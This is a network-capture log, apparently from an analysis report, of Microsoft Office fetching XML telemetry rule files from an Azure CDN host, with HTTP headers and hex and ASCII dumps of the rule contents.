2024-12-08 09:47:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:54 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 7eef6d74-301e-005d-1744-49e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094754Z-r1cf579d77867vg8hC1EWR8knc00000004u0000000002bn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:54 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:55 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094756Z-r1cf579d778zvkpnhC1EWRv23g00000005a0000000001d8r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:55 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 2750dbad-b01e-003d-064a-49d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094756Z-r1cf579d778d5zkmhC1EWRk6h800000005kg0000000006ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:56 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:55 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094756Z-r1cf579d778d5zkmhC1EWRk6h800000005eg0000000028fh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.8	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:55 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094756Z-r1cf579d778qgtz2hC1EWRmgks00000004r0000000004m5c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:56 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:55 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:56 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094756Z-r1cf579d778lntp7hC1EWR9gg400000004gg0000000010nh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:56 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:58 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 83778e64-b01e-0070-6d05-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094758Z-r1cf579d7782ctslhC1EWRfbrw00000005k0000000000mb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:58 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.8	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:58 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a374b664-e01e-0051-1f05-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094758Z-r1cf579d778v97q7hC1EWRf95c00000004hg0000000035k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:58 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.8	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:58 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094758Z-r1cf579d778t5c2lhC1EWRce3w00000005r0000000001b02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:58 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.8	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:58 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8332a10a-c01e-0079-4304-48e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094758Z-r1cf579d778qlpkrhC1EWRpfc800000005t0000000000arf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.8	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:58 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:58 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: e8b3d2c0-701e-0050-0b05-486767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094758Z-r1cf579d778v97q7hC1EWRf95c00000004k0000000003h0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:58 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.8	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:48:00 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:48:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:48:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fdf3550d-a01e-0070-7703-48573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094800Z-r1cf579d7788pwqzhC1EWRrpd800000005b0000000000t3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:48:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.8	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
